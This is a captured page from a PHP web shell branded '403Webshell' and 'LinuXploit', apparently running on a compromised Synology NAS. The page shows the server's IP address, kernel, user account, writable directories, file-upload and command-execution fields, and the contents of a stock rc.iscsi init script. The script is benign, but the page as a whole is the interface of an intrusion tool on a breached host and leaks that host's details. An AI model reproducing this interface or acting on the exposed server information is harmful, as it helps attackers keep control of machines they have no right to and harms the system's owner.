403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/syno/etc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/syno/etc/rc.iscsi
#!/bin/sh
# Copyright (c) 2000-2011 Synology Inc. All rights reserved.

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/syno/bin:/usr/syno/sbin

. /etc.defaults/rc.subr

KERNEL_VCODE=`KernelVersionCode $(KernelVersion)`

check_alive()
{
	/bin/pidof $1 &> /dev/null
}

start()
{
	echo "Starting iSCSI initiator service."
	if [ ! -f /etc/iscsi/initiatorname.iscsi ]; then
		echo "InitiatorName=`/sbin/iscsi-iname`" > /etc/iscsi/initiatorname.iscsi 
	fi

	if [ $KERNEL_VCODE -lt $(KernelVersionCode "3") ]; then
		insmod /lib/modules/scsi_transport_iscsi.ko
	fi
	insmod /lib/modules/libiscsi.ko
	insmod /lib/modules/libiscsi_tcp.ko
	insmod /lib/modules/iscsi_tcp.ko

	if check_alive iscsid; then
		echo "iscsid is already running"
		return
	fi
	iscsid
}

stop()
{
	echo "Stopping iSCSI initiator service."
	sync
	iscsiadm -m node --logoutall=all
	killall iscsid
	rm -f /var/run/iscsid.pid
	rm -f /var/lock/subsys/open-iscsi
	
	sleep 1
	rmmod /lib/modules/iscsi_tcp.ko
	rmmod /lib/modules/libiscsi_tcp.ko
	rmmod /lib/modules/libiscsi.ko
	if [ $KERNEL_VCODE -lt $(KernelVersionCode "3") ]; then
		rmmod /lib/modules/scsi_transport_iscsi.ko
	fi
}

restart()
{
	stop
	start
}

case "$1" in
	start)
			start
			;;
	stop)
			stop
			;;
	restart)
			stop
			start
			;;
	*)
			echo $"Usage: $0 {start|stop|restart}"
			exit 1
esac



Youez - 2016 - github.com/yon3zu
LinuXploit